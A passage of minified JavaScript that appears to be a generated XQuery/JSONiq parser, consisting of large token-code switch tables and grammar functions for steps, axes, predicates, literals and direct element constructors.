78931:case 78970:case 79035:case 79068:case 79443:case 79482:case 79547:case 79580:case 79955:case 79994:case 80059:case 80092:case 80467:case 80506:case 80571:case 80604:case 82515:case 82554:case 82619:case 82652:case 83539:case 83578:case 83643:case 83676:case 85587:case 85626:case 85691:case 85724:case 86099:case 86138:case 86203:case 86236:case 86611:case 86650:case 87123:case 87162:case 87227:case 87260:case 88659:case 88698:case 88763:case 88796:case 89171:case 89210:case 89275:case 89308:case 91731:case 91770:case 91835:case 91868:case 94803:case 94842:case 94907:case 94940:case 95827:case 95866:case 95931:case 95964:case 96339:case 96378:case 96443:case 96476:case 99411:case 99450:case 99515:case 99548:case 99923:case 99962:case 100027:case 100060:case 100947:case 100986:case 101051:case 101084:case 101459:case 101498:case 101563:case 101596:case 104019:case 104058:case 104123:case 104156:case 105555:case 105594:case 105659:case 105692:case 106067:case 106106:case 106171:case 106204:case 107603:case 107642:case 107707:case 107740:case 110675:case 110714:case 110779:case 110812:case 111187:case 111226:case 111291:case 111324:case 112723:case 112762:case 112827:case 112860:case 113747:case 113786:case 113851:case 113884:case 114259:case 114298:case 114363:case 114396:case 115283:case 115322:case 115387:case 115420:case 115795:case 115834:case 115899:case 115932:case 117331:case 117370:case 117435:case 117468:case 117843:case 117882:case 117947:case 117980:case 118355:case 118394:case 118459:case 118492:case 118867:case 118906:case 118971:case 119004:case 119379:case 119418:case 119483:case 119516:case 119891:case 119930:case 119995:case 120028:case 122451:case 122490:case 122555:case 122588:case 122963:case 123002:case 123067:case 123100:case 125523:case 125562:case 125627:case 125660:case 126547:case 126586:case 127059:case 127098:case 127163:case 127196:case 127571:case 127610:case 127675:case 127708:case 130643:case 130682:case 130747:case 130780:case 131155:case 131194:case 131259:case 131292:case 131667:case 131706:case 131771:case 131804:case 132179:case 132218:case 132283:case 132316:case 132691:case 132730:case 132795:case 132828:case 134227:case 134266:case 134331:case 134364:case 134739:case 134778:case 134843:case 134876:case 136275:case 136314:case 136379:case 136412:case 136787:case 136826:case 136891:case 136924:case 137299:case 137338:case 137403:case 137436:case 137811:case 137850:case 137915:case 137948:case 139859:case 139898:case 139963:case 139996:case 143955:case 143969:case 143992:case 143994:case 144059:case 144078:case 144092:case 144121:case 144134:ei();break;default:Br()}ic.endNonterminal(\"StepExpr\",Vl)}function Hr(){switch($l){case 83:ql(288);break;case 122:ql(287);break;case 187:case 220:ql(285);break;case 135:case 197:case 255:ql(237);break;case 97:case 120:case 206:case 249:case 262:ql(239);break;case 79:case 125:case 154:case 167:case 169:case 247:case 248:case 259:ql(230);break;case 74:case 75:case 94:case 112:case 113:case 137:case 138:case 210:case 216:case 217:case 234:ql(238);break;case 6:case 71:case 73:case 76:case 78:case 80:case 81:case 82:case 84:case 85:case 86:case 87:case 89:case 90:case 91:case 92:case 95:case 98:case 99:case 102:case 103:case 104:case 105:case 106:case 107:case 109:case 110:case 111:case 114:case 119:case 121:case 123:case 124:case 126:case 127:case 129:case 130:case 132:case 133:case 134:case 136:case 139:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 155:case 156:case 157:case 161:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 177:case 179:case 181:case 183:case 184:case 185:case 188:case 189:case 194:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 222:case 223:case 224:case 225:case 226:case 228:case 229:case 230:case 231:case 232:case 233:case 239:case 240:case 241:case 242:case 245:case 253:case 254:case 256:case 257:case 258:case 260:case 263:case 266:case 267:case 268:case 269:case 272:case 273:case 276:ql(234);break;default:Wl=$l}if(Wl==12935||Wl==12997||Wl==13055||Wl==13447||Wl==13509||Wl==13567||Wl==13959||Wl==14021||Wl==14079||Wl==19591||Wl==19653||Wl==19711||Wl==20103||Wl==20165||Wl==20223||Wl==21127||Wl==21189||Wl==21247||Wl==21639||Wl==21701||Wl==21759||Wl==22151||Wl==22213||Wl==22271||Wl==24199||Wl==24261||Wl==24319||Wl==24711||Wl==24773||Wl==24831||Wl==25735||Wl==25797||Wl==25855||Wl==27783||Wl==27845||Wl==27903||Wl==28295||Wl==28357||Wl==28415||Wl==29831||Wl==29893||Wl==29951||Wl==30343||Wl==30405||Wl==30463||Wl==31367||Wl==31429||Wl==31487||Wl==31879||Wl==31941||Wl==31999||Wl==32391||Wl==32453||Wl==32511||Wl==32903||Wl==32965||Wl==33023||Wl==35463||Wl==35525||Wl==35583||Wl==35975||Wl==36037||Wl==36095||Wl==36435||Wl==36474||Wl==36487||Wl==36539||Wl==36549||Wl==36572||Wl==36607||Wl==38995||Wl==39034||Wl==39047||Wl==39099||Wl==39109||Wl==39132||Wl==39167||Wl==41043||Wl==41082||Wl==41095||Wl==41147||Wl==41157||Wl==41180||Wl==41215||Wl==41555||Wl==41594||Wl==41607||Wl==41659||Wl==41669||Wl==41692||Wl==41727||Wl==42067||Wl==42106||Wl==42119||Wl==42171||Wl==42181||Wl==42204||Wl==42239||Wl==43603||Wl==43642||Wl==43655||Wl==43707||Wl==43717||Wl==43740||Wl==43775||Wl==45191||Wl==45253||Wl==45311||Wl==45651||Wl==45690||Wl==45703||Wl==45755||Wl==45765||Wl==45788||Wl==45823||Wl==46163||Wl==46202||Wl==46215||Wl==46267||Wl==46277||Wl==46300||Wl==46335||Wl==46675||Wl==46714||Wl==46727||Wl==46779||Wl==46789||Wl==46812||Wl==46847||Wl==48723||Wl==48762||Wl==48775||Wl==48827||Wl==48837||Wl==48860||Wl==48895||Wl==51335||Wl==51397||Wl==51455||Wl==54355||Wl==54394||Wl==54407||Wl==54459||Wl==54469||Wl==54492||Wl==54527||Wl==56403||Wl==56442||Wl==56455||Wl==56507||Wl==56517||Wl==56540||Wl==56575||Wl==58451||Wl==58490||Wl==58503||Wl==58555||Wl==58565||Wl==58588||Wl==58623||Wl==61011||Wl==61050||Wl==61063||Wl==61115||Wl==61125||Wl==61148||Wl==61183||Wl==63059||Wl==63098||Wl==63111||Wl==63163||Wl==63173||Wl==63196||Wl==63231||Wl==63571||Wl==63610||Wl==63623||Wl==63675||Wl==63685||Wl==63708||Wl==63743||Wl==65107||Wl==65146||Wl==65159||Wl==65211||Wl==65221||Wl==65244||Wl==65279||Wl==66131||Wl==66170||Wl==66183||Wl==66235||Wl==66245||Wl==66268||Wl==66303||Wl==67667||Wl==67706||Wl==67719||Wl==67771||Wl==67781||Wl==67804||Wl==67839||Wl==71251||Wl==71290||Wl==71303||Wl==71355||Wl==71365||Wl==71388||Wl==71423||Wl==75859||Wl==75898||Wl==75911||Wl==75963||Wl==75973||Wl==75996||Wl==76031||Wl==76883||Wl==76922||Wl==76935||Wl==76987||Wl==76997||Wl==77020||Wl==77055||Wl==77907||Wl==77946||Wl==77959||Wl==78011||Wl==78021||Wl==78044||Wl==78079||Wl==78419||Wl==78458||Wl==78471||Wl==78523||Wl==78533||Wl==78556||Wl==78591||Wl==83027||Wl==83066||Wl==83079||Wl==83131||Wl==83141||Wl==83164||Wl==83199||Wl==84051||Wl==84090||Wl==84103||Wl==84155||Wl==84165||Wl==84188||Wl==84223||Wl==84563||Wl==84602||Wl==84615||Wl==84667||Wl==84677||Wl==84700||Wl==84735||Wl==85075||Wl==85114||Wl==85127||Wl==85179||Wl==85189||Wl==85212||Wl==85247||Wl==89683||Wl==89722||Wl==89735||Wl==89787||Wl==89797||Wl==89820||Wl==89855||Wl==90707||Wl==90746||Wl==90759||Wl==90811||Wl==90821||Wl==90844||Wl==90879||Wl==92755||Wl==92794||Wl==92807||Wl==92859||Wl==92869||Wl==92892||Wl==92927||Wl==93779||Wl==93818||Wl==93831||Wl==93883||Wl==93893||Wl==93916||Wl==93951||Wl==94291||Wl==94330||Wl==94343||Wl==94395||Wl==94405||Wl==94428||Wl==94463||Wl==96851||Wl==96890||Wl==96903||Wl==96955||Wl==96965||Wl==96988||Wl==97023||Wl==103507||Wl==103546||Wl==103559||Wl==103611||Wl==103621||Wl==103644||Wl==103679||Wl==104531||Wl==104570||Wl==104583||Wl==104635||Wl==104645||Wl==104668||Wl==104703||Wl==105043||Wl==105082||Wl==105095||Wl==105147||Wl==105157||Wl==105180||Wl==105215||Wl==107143||Wl==107205||Wl==107263||Wl==114771||Wl==114810||Wl==114823||Wl==114875||Wl==114885||Wl==114908||Wl==114943||Wl==116819||Wl==116858||Wl==116871||Wl==116923||Wl==116933||Wl==116956||Wl==116991||Wl==121479||Wl==121541||Wl==121599||Wl==123475||Wl==123514||Wl==123527||Wl==123579||Wl==123589||Wl==123612||Wl==123647||Wl==123987||Wl==124026||Wl==124039||Wl==124091||Wl==124101||Wl==124124||Wl==124159||Wl==129159||Wl==129221||Wl==129279||Wl==129619||Wl==129658||Wl==129671||Wl==129723||Wl==129733||Wl==129756||Wl==129791||Wl==130131||Wl==130170||Wl==130183||Wl==130235||Wl==130245||Wl==130268||Wl==130303||Wl==133203||Wl==133242||Wl==133255||Wl==133307||Wl==133317||Wl==133340||Wl==133375||Wl==139347||Wl==139386||Wl==139399||Wl==139451||Wl==139461||Wl==139484||Wl==139519||Wl==141395||Wl==141434||Wl==141447||Wl==141499||Wl==141509||Wl==141532||Wl==141567||Wl==142983||Wl==143045||Wl==143103||Wl==145543||Wl==145605||Wl==145663||Wl==146055||Wl==146117||Wl==146175||Wl==146567||Wl==146629||Wl==146687||Wl==147079||Wl==147141||Wl==147199){Wl=uc(4,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{ti(),oc(4,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(4,t,-2)}}}switch(Wl){case-1:case 8:case 9:case 10:case 11:case 31:case 32:case 33:case 35:case 55:case 56:case 60:case 69:case 281:case 283:case 3155:case 3194:case 9915:case 9948:case 14854:case 14919:case 14921:case 14922:case 14923:case 14924:case 14926:case 14927:case 14928:case 14929:case 14930:case 14931:case 14932:case 14933:case 14934:case 14935:case 14937:case 14938:case 14939:case 14940:case 14942:case 14943:case 14945:case 14946:case 14947:case 14950:case 14951:case 14952:case 14953:case 14954:case 14955:case 14957:case 14958:case 14959:case 14960:case 14961:case 14962:case 14967:case 14968:case 14969:case 14970:case 14971:case 14972:case 14973:case 14974:case 14975:case 14977:case 14978:case 14980:case 14981:case 14982:case 14983:case 14984:case 14985:case 14986:case 14987:case 14990:case 14991:case 14995:case 14996:case 14998:case 15e3:case 15001:case 15002:case 15003:case 15004:case 15005:case 15009:case 15010:case 15011:case 15012:case 15013:case 15014:case 15015:case 15016:case 15017:case 15018:case 15021:case 15022:case 15023:case 15025:case 15027:case 15029:case 15031:case 15032:case 15033:case 15035:case 15036:case 15037:case 15042:case 15043:case 15045:case 15046:case 15050:case 15051:case 15052:case 15053:case 15054:case 15055:case 15058:case 15064:case 15065:case 15068:case 15070:case 15071:case 15072:case 15073:case 15074:case 15076:case 15077:case 15078:case 15079:case 15080:case 15081:case 15082:case 15087:case 15088:case 15089:case 15090:case 15093:case 15095:case 15096:case 15097:case 15101:case 15102:case 15103:case 15104:case 15105:case 15106:case 15107:case 15108:case 15110:case 15111:case 15114:case 15115:case 15116:case 15117:case 15120:case 15121:case 15124:case 17926:case 17991:case 17993:case 17994:case 17995:case 17996:case 17998:case 18e3:case 18001:case 18002:case 18004:case 18005:case 18006:case 18007:case 18009:case 18010:case 18011:case 18012:case 18014:case 18015:case 18018:case 18019:case 18022:case 18023:case 18024:case 18025:case 18026:case 18027:case 18029:case 18030:case 18031:case 18032:case 18033:case 18034:case 18039:case 18040:case 18043:case 18044:case 18046:case 18047:case 18049:case 18050:case 18052:case 18053:case 18054:case 18055:case 18056:case 18057:case 18058:case 18059:case 18062:case 18063:case 18067:case 18068:case 18070:case 18072:case 18073:case 18075:case 18076:case 18077:case 18081:case 18082:case 18083:case 18084:case 18085:case 18086:case 18088:case 18090:case 18093:case 18094:case 18095:case 18097:case 18099:case 18101:case 18103:case 18104:case 18105:case 18107:case 18109:case 18115:case 18117:case 18118:case 18122:case 18123:case 18124:case 18125:case 18126:case 18127:case 18130:case 18136:case 18137:case 18142:case 18143:case 18144:case 18145:case 18146:case 18148:case 18149:case 18152:case 18153:case 18154:case 18159:case 18160:case 18161:case 18162:case 18165:case 18173:case 18174:case 18175:case 18176:case 18177:case 18178:case 18180:case 18182:case 18183:case 18186:case 18187:case 18188:case 18189:case 18192:case 18193:case 18196:case 23175:case 23237:case 23295:case 37459:case 37498:case 37563:case 37596:case 37971:case 38010:case 38075:case 38108:case 38483:case 38522:case 38587:case 38620:case 40019:case 40058:case 40123:case 40156:case 40531:case 40570:case 42579:case 42618:case 42683:case 42716:case 43091:case 43130:case 43195:case 43228:case 44115:case 44154:case 44219:case 44252:case 44627:case 44666:case 44731:case 44764:case 47187:case 47226:case 47291:case 47324:case 48211:case 48250:case 48315:case 48348:case 49747:case 49786:case 49851:case 49884:case 50259:case 50298:case 50363:case 50396:case 50771:case 50810:case 50875:case 50908:case 52307:case 52346:case 52411:case 52444:case 52819:case 52858:case 52923:case 52956:case 53331:case 53370:case 53435:case 53468:case 53843:case 53882:case 53947:case 53980:case 54867:case 54906:case 54971:case 55004:case 55891:case 55930:case 55995:case 56028:case 56915:case 56954:case 57019:case 57052:case 57427:case 57466:case 57531:case 57564:case 57939:case 57978:case 58043:case 58076:case 61523:case 61562:case 61627:case 61660:case 62035:case 62074:case 62139:case 62172:case 62547:case 62586:case 62651:case 62684:case 64083:case 64122:case 64187:case 64220:case 64595:case 64634:case 64699:case 64732:case 66643:case 66682:case 66747:case 66780:case 68179:case 68218:case 68283:case 68316:case 68691:case 68730:case 68795:case 68828:case 69203:case 69242:case 69307:case 69340:case 69715:case 69754:case 69819:case 69852:case 70227:case 70266:case 70331:case 70364:case 70739:case 70778:case 70843:case 70876:case 72787:case 72826:case 72891:case 72924:case 73299:case 73338:case 73403:case 73436:case 75347:case 75386:case 75451:case 75484:case 78931:case 78970:case 79035:case 79068:case 79443:case 79482:case 79547:case 79580:case 79955:case 79994:case 80059:case 80092:case 80467:case 80506:case 80571:case 80604:case 82515:case 82554:case 82619:case 82652:case 83539:case 83578:case 83643:case 83676:case 85587:case 85626:case 85691:case 85724:case 86099:case 86138:case 86203:case 86236:case 86611:case 86650:case 87123:case 87162:case 87227:case 87260:case 88659:case 88698:case 88763:case 88796:case 89171:case 89210:case 89275:case 89308:case 91731:case 91770:case 91835:case 91868:case 94803:case 94842:case 94907:case 94940:case 95827:case 95866:case 95931:case 95964:case 96339:case 96378:case 96443:case 96476:case 99411:case 99450:case 99515:case 99548:case 99923:case 99962:case 100027:case 100060:case 100947:case 100986:case 101051:case 101084:case 101459:case 101498:case 101563:case 101596:case 104019:case 104058:case 104123:case 104156:case 105555:case 105594:case 105659:case 105692:case 106067:case 106106:case 106171:case 106204:case 107603:case 107642:case 107707:case 107740:case 110675:case 110714:case 110779:case 110812:case 111187:case 111226:case 111291:case 111324:case 112723:case 112762:case 112827:case 112860:case 113747:case 113786:case 113851:case 113884:case 114259:case 114298:case 114363:case 114396:case 115283:case 115322:case 115387:case 115420:case 115795:case 115834:case 115899:case 115932:case 117331:case 117370:case 117435:case 117468:case 117843:case 117882:case 117947:case 117980:case 118355:case 118394:case 118459:case 118492:case 118867:case 118906:case 118971:case 119004:case 119379:case 119418:case 119483:case 119516:case 119891:case 119930:case 119995:case 120028:case 122451:case 122490:case 122555:case 122588:case 122963:case 123002:case 123067:case 123100:case 125523:case 125562:case 125627:case 125660:case 126547:case 126586:case 127059:case 127098:case 127163:case 127196:case 127571:case 127610:case 127675:case 127708:case 130643:case 130682:case 130747:case 130780:case 131155:case 131194:case 131259:case 131292:case 131667:case 131706:case 131771:case 131804:case 132179:case 132218:case 132283:case 132316:case 132691:case 132730:case 132795:case 132828:case 134227:case 134266:case 134331:case 134364:case 134739:case 134778:case 134843:case 134876:case 136275:case 136314:case 136379:case 136412:case 136787:case 136826:case 136891:case 136924:case 137299:case 137338:case 137403:case 137436:case 137811:case 137850:case 137915:case 137948:case 139859:case 139898:case 139963:case 139996:case 143955:case 143969:case 143992:case 143994:case 144059:case 144078:case 144092:case 144121:case 144134:ti();break;case-3:break;default:jr()}}function Br(){ic.startNonterminal(\"AxisStep\",Vl);switch($l){case 74:case 75:case 210:case 216:case 217:ql(232);break;default:Wl=$l}switch(Wl){case 46:case 26698:case 26699:case 26834:case 26840:case 26841:Wr();break;default:Fr()}Il(228),jl(),li(),ic.endNonterminal(\"AxisStep\",Vl)}function jr(){switch($l){case 74:case 75:case 210:case 216:case 217:ql(232);break;default:Wl=$l}switch(Wl){case 46:case 26698:case 26699:case 26834:case 26840:case 26841:Xr();break;default:Ir()}Il(228),ci()}function Fr(){ic.startNonterminal(\"ForwardStep\",Vl);switch($l){case 83:ql(236);break;case 94:case 112:case 113:case 137:case 138:case 234:ql(232);break;default:Wl=$l}switch(Wl){case 26707:case 26718:case 26736:case 26737:case 26761:case 26762:case 26858:qr(),Il(249),jl(),Qr();break;default:Ur()}ic.endNonterminal(\"ForwardStep\",Vl)}function Ir(){switch($l){case 83:ql(236);break;case 94:case 112:case 113:case 137:case 138:case 234:ql(232);break;default:Wl=$l}switch(Wl){case 26707:case 26718:case 26736:case 26737:case 26761:case 26762:case 26858:Rr(),Il(249),Gr();break;default:zr()}}function qr(){ic.startNonterminal(\"ForwardAxis\",Vl);switch($l){case 94:Pl(94),Il(27),Pl(52);break;case 112:Pl(112),Il(27),Pl(52);break;case 83:Pl(83),Il(27),Pl(52);break;case 234:Pl(234),Il(27),Pl(52);break;case 113:Pl(113),Il(27),Pl(52);break;case 138:Pl(138),Il(27),Pl(52);break;default:Pl(137),Il(27),Pl(52)}ic.endNonterminal(\"ForwardAxis\",Vl)}function Rr(){switch($l){case 94:Hl(94),Il(27),Hl(52);break;case 112:Hl(112),Il(27),Hl(52);break;case 83:Hl(83),Il(27),Hl(52);break;case 234:Hl(234),Il(27),Hl(52);break;case 113:Hl(113),Il(27),Hl(52);break;case 138:Hl(138),Il(27),Hl(52);break;default:Hl(137),Il(27),Hl(52)}}function Ur(){ic.startNonterminal(\"AbbrevForwardStep\",Vl),$l==67&&Pl(67),Il(249),jl(),Qr(),ic.endNonterminal(\"AbbrevForwardStep\",Vl)}function zr(){$l==67&&Hl(67),Il(249),Gr()}function Wr(){ic.startNonterminal(\"ReverseStep\",Vl);switch($l){case 46:Jr();break;default:Vr(),Il(249),jl(),Qr()}ic.endNonterminal(\"ReverseStep\",Vl)}function Xr(){switch($l){case 46:Kr();break;default:$r(),Il(249),Gr()}}function Vr(){ic.startNonterminal(\"ReverseAxis\",Vl);switch($l){case 210:Pl(210),Il(27),Pl(52);break;case 74:Pl(74),Il(27),Pl(52);break;case 217:Pl(217),Il(27),Pl(52);break;case 216:Pl(216),Il(27),Pl(52);break;default:Pl(75),Il(27),Pl(52)}ic.endNonterminal(\"ReverseAxis\",Vl)}function $r(){switch($l){case 210:Hl(210),Il(27),Hl(52);break;case 74:Hl(74),Il(27),Hl(52);break;case 217:Hl(217),Il(27),Hl(52);break;case 216:Hl(216),Il(27),Hl(52);break;default:Hl(75),Il(27),Hl(52)}}function Jr(){ic.startNonterminal(\"AbbrevReverseStep\",Vl),Pl(46),ic.endNonterminal(\"AbbrevReverseStep\",Vl)}function Kr(){Hl(46)}function Qr(){ic.startNonterminal(\"NodeTest\",Vl);switch($l){case 83:case 97:case 121:case 122:case 188:case 194:case 220:case 230:case 231:case 249:ql(231);break;default:Wl=$l}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:Vs();break;default:Yr()}ic.endNonterminal(\"NodeTest\",Vl)}function Gr(){switch($l){case 83:case 97:case 121:case 122:case 188:case 194:case 220:case 230:case 231:case 249:ql(231);break;default:Wl=$l}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:$s();break;default:Zr()}}function Yr(){ic.startNonterminal(\"NameTest\",Vl);switch($l){case 5:Pl(5);break;default:$a()}ic.endNonterminal(\"NameTest\",Vl)}function Zr(){switch($l){case 5:Hl(5);break;default:Ja()}}function ei(){ic.startNonterminal(\"PostfixExpr\",Vl),yl();for(;;){Il(235);if($l!=35&&$l!=45&&$l!=69)break;switch($l){case 69:ql(273);break;default:Wl=$l}if(Wl==35397){Wl=uc(5,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{pi(),Wl=-1}catch(a){Wl=-4}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(5,Vl,Wl)}}switch(Wl){case 35:jl(),ai();break;case 45:jl(),ni();break;case-4:jl(),ii();break;case 35909:jl(),oi();break;default:jl(),hi()}}ic.endNonterminal(\"PostfixExpr\",Vl)}function ti(){bl();for(;;){Il(235);if($l!=35&&$l!=45&&$l!=69)break;switch($l){case 69:ql(273);break;default:Wl=$l}if(Wl==35397){Wl=uc(5,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{pi(),oc(5,t,-1),Wl=-6}catch(a){Wl=-4,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(5,t,-4)}}}switch(Wl){case 35:fi();break;case 45:ri();break;case-4:si();break;case 35909:ui();break;case-6:break;default:pi()}}}function ni(){ic.startNonterminal(\"ObjectLookup\",Vl),Pl(45),Il(251);switch($l){case 11:Pl(11);break;case 35:jl(),Ci();break;case 31:jl(),Si();break;case 32:jl(),Li();break;default:jl(),Ga()}ic.endNonterminal(\"ObjectLookup\",Vl)}function ri(){Hl(45),Il(251);switch($l){case 11:Hl(11);break;case 35:ki();break;case 31:xi();break;case 32:Ai();break;default:Ya()}}function ii(){ic.startNonterminal(\"ArrayLookup\",Vl),Pl(69),Il(31),Pl(69),Il(267),jl(),G(),Pl(70),Il(32),Pl(70),ic.endNonterminal(\"ArrayLookup\",Vl)}function si(){Hl(69),Il(31),Hl(69),Il(267),Y(),Hl(70),Il(32),Hl(70)}function oi(){ic.startNonterminal(\"ArrayUnboxing\",Vl),Pl(69),Il(32),Pl(70),ic.endNonterminal(\"ArrayUnboxing\",Vl)}function ui(){Hl(69),Il(32),Hl(70)}function ai(){ic.startNonterminal(\"ArgumentList\",Vl),Pl(35),Il(280);if($l!=38){jl(),Bi();for(;;){Il(105);if($l!=42)break;Pl(42),Il(272),jl(),Bi()}}Pl(38),ic.endNonterminal(\"ArgumentList\",Vl)}function fi(){Hl(35),Il(280);if($l!=38){ji();for(;;){Il(105);if($l!=42)break;Hl(42),Il(272),ji()}}Hl(38)}function li(){ic.startNonterminal(\"PredicateList\",Vl);for(;;){Il(228);if($l!=69)break;jl(),hi()}ic.endNonterminal(\"PredicateList\",Vl)}function ci(){for(;;){Il(228);if($l!=69)break;pi()}}function hi(){ic.startNonterminal(\"Predicate\",Vl),Pl(69),Il(267),jl(),G(),Pl(70),ic.endNonterminal(\"Predicate\",Vl)}function pi(){Hl(69),Il(267),Y(),Hl(70)}function di(){ic.startNonterminal(\"Literal\",Vl);switch($l){case 11:Pl(11);break;case 135:case 255:mi();break;case 197:yi();break;default:wi()}ic.endNonterminal(\"Literal\",Vl)}function vi(){switch($l){case 11:Hl(11);break;case 135:case 255:gi();break;case 197:bi();break;default:Ei()}}function mi(){ic.startNonterminal(\"BooleanLiteral\",Vl);switch($l){case 255:Pl(255);break;default:Pl(135)}ic.endNonterminal(\"BooleanLiteral\",Vl)}function gi(){switch($l){case 255:Hl(255);break;default:Hl(135)}}function yi(){ic.startNonterminal(\"NullLiteral\",Vl),Pl(197),ic.endNonterminal(\"NullLiteral\",Vl)}function bi(){Hl(197)}function wi(){ic.startNonterminal(\"NumericLiteral\",Vl);switch($l){case 8:Pl(8);break;case 9:Pl(9);break;default:Pl(10)}ic.endNonterminal(\"NumericLiteral\",Vl)}function Ei(){switch($l){case 8:Hl(8);break;case 9:Hl(9);break;default:Hl(10)}}function Si(){ic.startNonterminal(\"VarRef\",Vl),Pl(31),Il(246),jl(),Ti(),ic.endNonterminal(\"VarRef\",Vl)}function xi(){Hl(31),Il(246),Ni()}function Ti(){ic.startNonterminal(\"VarName\",Vl),$a(),ic.endNonterminal(\"VarName\",Vl)}function Ni(){Ja()}function Ci(){ic.startNonterminal(\"ParenthesizedExpr\",Vl),Pl(35),Il(270),$l!=38&&(jl(),G()),Pl(38),ic.endNonterminal(\"ParenthesizedExpr\",Vl)}function ki(){Hl(35),Il(270),$l!=38&&Y(),Hl(38)}function Li(){ic.startNonterminal(\"ContextItemExpr\",Vl),Pl(32),ic.endNonterminal(\"ContextItemExpr\",Vl)}function Ai(){Hl(32)}function Oi(){ic.startNonterminal(\"OrderedExpr\",Vl),Pl(206),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"OrderedExpr\",Vl)}function Mi(){Hl(206),Il(90),Hl(281),Il(267),Y(),Hl(287)}function _i(){ic.startNonterminal(\"UnorderedExpr\",Vl),Pl(262),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"UnorderedExpr\",Vl)}function Di(){Hl(262),Il(90),Hl(281),Il(267),Y(),Hl(287)}function Pi(){ic.startNonterminal(\"FunctionCall\",Vl),Ka(),Il(22),jl(),ai(),ic.endNonterminal(\"FunctionCall\",Vl)}function Hi(){Qa(),Il(22),fi()}function Bi(){ic.startNonterminal(\"Argument\",Vl);switch($l){case 65:Fi();break;default:Wf()}ic.endNonterminal(\"Argument\",Vl)}function ji(){switch($l){case 65:Ii();break;default:Xf()}}function Fi(){ic.startNonterminal(\"ArgumentPlaceholder\",Vl),Pl(65),ic.endNonterminal(\"ArgumentPlaceholder\",Vl)}function Ii(){Hl(65)}function qi(){ic.startNonterminal(\"Constructor\",Vl);switch($l){case 55:case 56:case 60:Ui();break;default:os()}ic.endNonterminal(\"Constructor\",Vl)}function Ri(){switch($l){case 55:case 56:case 60:zi();break;default:us()}}function Ui(){ic.startNonterminal(\"DirectConstructor\",Vl);switch($l){case 55:Wi();break;case 56:ns();break;default:is()}ic.endNonterminal(\"DirectConstructor\",Vl)}function zi(){switch($l){case 55:Xi();break;case 56:rs();break;default:ss()}}function Wi(){ic.startNonterminal(\"DirElemConstructor\",Vl),Pl(55),Rl(4),Pl(20),Vi();switch($l){case 49:Pl(49);break;default:Pl(62);for(;;){Rl(196);if($l==57)break;es()}Pl(57),Rl(4),Pl(20),Rl(12),$l==21&&Pl(21),Rl(8),Pl(62)}ic.endNonterminal(\"DirElemConstructor\",Vl)}function Xi(){Hl(55),Rl(4),Hl(20),$i();switch($l){case 49:Hl(49);break;default:Hl(62);for(;;){Rl(196);if($l==57)break;ts()}Hl(57),Rl(4),Hl(20),Rl(12),$l==21&&Hl(21),Rl(8),Hl(62)}}function Vi(){ic.startNonterminal(\"DirAttributeList\",Vl);for(;;){Rl(19);if($l!=21)break;Pl(21),Rl(94),$l==20&&(Pl(20),Rl(11),$l==21&&Pl(21),Rl(7),Pl(61),Rl(18),$l==21&&Pl(21),Ji())}ic.endNonterminal(\"DirAttributeList\",Vl)}function $i(){for(;;){Rl(19);if($l!=21)break;Hl(21),Rl(94),$l==20&&(Hl(20),Rl(11),$l==21&&Hl(21),Rl(7),Hl(61),Rl(18),$l==21&&Hl(21),Ki())}}function Ji(){ic.startNonterminal(\"DirAttributeValue\",Vl),Rl(14);switch($l){case 28:Pl(28);for(;;){Rl(185);if($l==28)break;switch($l){case 13:Pl(13);break;default:Qi()}}Pl(28);break;default:Pl(34);for(;;){Rl(186);if($l==34)break;switch($l){case 14:Pl(14);break;default:Yi()}}Pl(34)}ic.endNonterminal(\"DirAttributeValue\",Vl)}function Ki(){Rl(14);switch($l){case 28:Hl(28);for(;;){Rl(185);if($l==28)break;switch($l){case 13:Hl(13);break;default:Gi()}}Hl(28);break;default:Hl(34);for(;;){Rl(186);if($l==34)break;switch($l){case 14:Hl(14);break;default:Zi()}}Hl(34)}}function Qi(){ic.startNonterminal(\"QuotAttrValueContent\",Vl);switch($l){case 16:Pl(16);break;default:il()}ic.endNonterminal(\"QuotAttrValueContent\",Vl)}function Gi(){switch($l){case 16:Hl(16);break;default:sl()}}function Yi(){ic.startNonterminal(\"AposAttrValueContent\",Vl);switch($l){case 17:Pl(17);break;default:il()}ic.endNonterminal(\"AposAttrValueContent\",Vl)}function Zi(){switch($l){case 17:Hl(17);break;default:sl()}}function es(){ic.startNonterminal(\"DirElemContent\",Vl);switch($l){case 55:case 56:case 60:Ui();break;case 4:Pl(4);break;case 15:Pl(15);break;default:il()}ic.endNonterminal(\"DirElemContent\",Vl)}function ts(){switch($l){case 55:case 56:case 60:zi();break;case 4:Hl(4);break;case 15:Hl(15);break;default:sl()}}function ns(){ic.startNonterminal(\"DirCommentConstructor\",Vl),Pl(56),Rl(1),Pl(2),Rl(6),Pl(44),ic.endNonterminal(\"DirCommentConstructor\",Vl)}function rs(){Hl(56),Rl(1),Hl(2),Rl(6),Hl(44)}function is(){ic.startNonterminal(\"DirPIConstructor\",Vl),Pl(60),Rl(3),Pl(18),Rl(13),$l==21&&(Pl(21),Rl(2),Pl(3)),Rl(9),Pl(66),ic.endNonterminal(\"DirPIConstructor\",Vl)}function ss(){Hl(60),Rl(3),Hl(18),Rl(13),$l==21&&(Hl(21),Rl(2),Hl(3)),Rl(9),Hl(66)}function 